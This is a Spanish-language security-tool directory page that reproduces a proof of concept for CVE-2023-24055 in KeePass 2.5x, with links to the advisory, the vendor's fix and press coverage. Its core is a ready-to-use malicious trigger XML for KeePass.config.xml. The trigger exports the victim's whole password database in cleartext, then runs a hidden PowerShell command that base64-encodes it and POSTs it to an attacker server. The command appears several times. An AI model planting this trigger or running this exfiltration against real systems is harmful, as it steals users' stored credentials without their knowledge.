Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2023-24055_PoC — CVE-2023-24055 PoC (KeePass 2.5x) | Kitploit
Herramientas/GitHubGitHub/alt3kx/cve-2023-24055_poc
Ataques de ContraseñasAnálisis de VulnerabilidadesExplotaciónExfiltración de DatosPost-ExplotaciónRed Teaming
GitHubalt3kx/cve-2023-24055_poc

CVE-2023-24055_PoC

CVE-2023-24055 PoC (KeePass 2.5x)

Ver Repositorio
2533747hace 3 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Sitio web

CVE-2023-24055 PoC (KeePass 2.5x)

Bajo discusión y análisis...

https://sourceforge.net/p/keepass/discussion/329220/thread/a146e5cf6b/
https://sourceforge.net/p/keepass/feature-requests/2773/

Un atacante que tenga acceso de escritura al archivo de configuración de KeePass puede modificarlo e inyectar disparadores maliciosos, por ejemplo, para obtener las contraseñas en texto claro añadiendo un disparador de exportación.

https://nvd.nist.gov/vuln/detail/CVE-2023-24055
https://www.cve.org/CVERecord?id=CVE-2023-24055

Mi PoC inicial (KeePass 2.5x)

(1) Un atacante que tenga acceso de escritura al archivo de configuración de KeePass KeePass.config.xml podría inyectar el siguiente disparador, por ejemplo:

root@kitploit:~
<?xml version="1.0" encoding="utf-8"?>
<TriggerCollection xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
	<Triggers>
		<Trigger>
			<Guid>lztpSRd56EuYtwwqntH7TQ==</Guid>
			<Name>exploit</Name>
			<Events>
				<Event>
					<TypeGuid>s6j9/ngTSmqcXdW6hDqbjg==</TypeGuid>
					<Parameters>
						<Parameter>0</Parameter>
						<Parameter />
					</Parameters>
				</Event>
			</Events>
			<Conditions />
			<Actions>
				<Action>
					<TypeGuid>D5prW87VRr65NO2xP5RIIg==</TypeGuid>
					<Parameters>
						<Parameter>c:\Users\John\AppData\Local\Temp\exploit.xml</Parameter>
						<Parameter>KeePass XML (2.x)</Parameter>
						<Parameter />
						<Parameter />
					</Parameters>
				</Action>
				<Action>
					<TypeGuid>2uX4OwcwTBOe7y66y27kxw==</TypeGuid>
					<Parameters>
						<Parameter>PowerShell.exe</Parameter>
						<Parameter>-ex bypass -noprofile -c Invoke-WebRequest -uri http://attacker_server_here/exploit.raw -Method POST -Body ([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:\Users\John\AppData\Local\Temp\exploit.xml'))) </Parameter>
						<Parameter>False</Parameter>
						<Parameter>1</Parameter>
						<Parameter />
					</Parameters>
				</Action>
			</Actions>
		</Trigger>
	</Triggers>
</TriggerCollection>

(2) La víctima abrirá KeePass como actividad normal, guardando cambios, etc. El disparador se ejecutará en segundo plano extrayendo las credenciales al servidor del atacante.

Detalles del PoC del disparador

a) El disparador exportará la base de datos de KeePass en formato KeePass XML (2.x) incluyendo todas las credenciales (texto claro) en la siguiente ruta, por ejemplo:

root@kitploit:~
c:\Users\John\AppData\Local\Temp\exploit.xml 

b) Una vez exportado el archivo, se podría definir una segunda acción para exfiltrar los datos XML usando PowerShell.exe y codificarlos a base64, por ejemplo:

root@kitploit:~
PowerShell.exe -ex bypass -noprofile -c Invoke-WebRequest -uri http://attacker_server_here/exploit.raw -Method POST -Body ([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:\Users\John\AppData\Local\Temp\exploit.xml')))

c) Los datos se exfiltrarán al servidor web del atacante, por ejemplo:

1

Valores del PoC del disparador

root@kitploit:~
Name: Trigger
Events: Saved database file | [Equals]
Conditions: <empty>
Actions: 

(1) Export active database 
File/URL: c:\Users\John\AppData\Local\Temp\exploit.xml
File/Format:  KeePass XML (2.x)

(2) Execute command line / URL
File/URL: PowerShell.exe
Arguments: -ex bypass -noprofile -c Invoke-WebRequest -uri http://attacker_server_here/exploit.raw -Method POST -Body ([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:\Users\John\AppData\Local\Temp\exploit.xml')))
Window style: Hidden

Credenciales...

root@kitploit:~
PS C:\Users\John\AppData\Local\Temp> type .\exploit.xml  | Select-String -Pattern Password

2

3

Ejemplos públicos de disparadores:

https://keepass.info/help/kb/trigger_examples.html

Corrección publicada: Cambios de 2.53 a 2.53.1:

https://keepass.info/news/n230109_2.53.html

root@kitploit:~
Removed the 'Export - No Key Repeat' application policy flag; KeePass now always asks for the current master key when trying to export data.

Lecturas adicionales

(*) Lo que este CVE de KeePass significa para las organizaciones que buscan nuevos gestores de contraseñas (Carlos Perez)

https://www.trustedsec.com/blog/what-this-keepass-cve-means-for-organizations-searching-for-new-password-vaults/
https://www.youtube.com/watch?v=OEaFaSjaZY4

(*) KeePass disputa el informe de una falla que podría exfiltrar una base de datos (Steve Zurier)

https://www.scmagazine.com/analysis/identity-and-access/keepass-disputes-report-of-flaw-that-could-exfiltrate-a-database

(*) Security Weekly News (06:56 KeePass)

https://www.youtube.com/watch?v=iz0PsYlH8Ig

(*) KeePass 2.53.1, una nueva versión que corrige « la vulnerabilidad » CVE-2023-24055 (IT Connect FR)

https://www.it-connect.fr/keepass-2-53-1-une-nouvelle-version-qui-corrige-la-vulnerabilite/
https://www.it-connect.fr/faille-critique-dans-keepass-un-attaquant-peut-exporter-les-mots-de-passe-en-clair/

(*) Herramientas

https://github.com/deetl/CVE-2023-24055
https://blog.harmj0y.net/redteaming/keethief-a-case-study-in-attacking-keepass-part-2/
https://github.com/Orange-Cyberdefense/KeePwn

Autor

Alex Hernandez aka (@_alt3kx_)

Descargar herramienta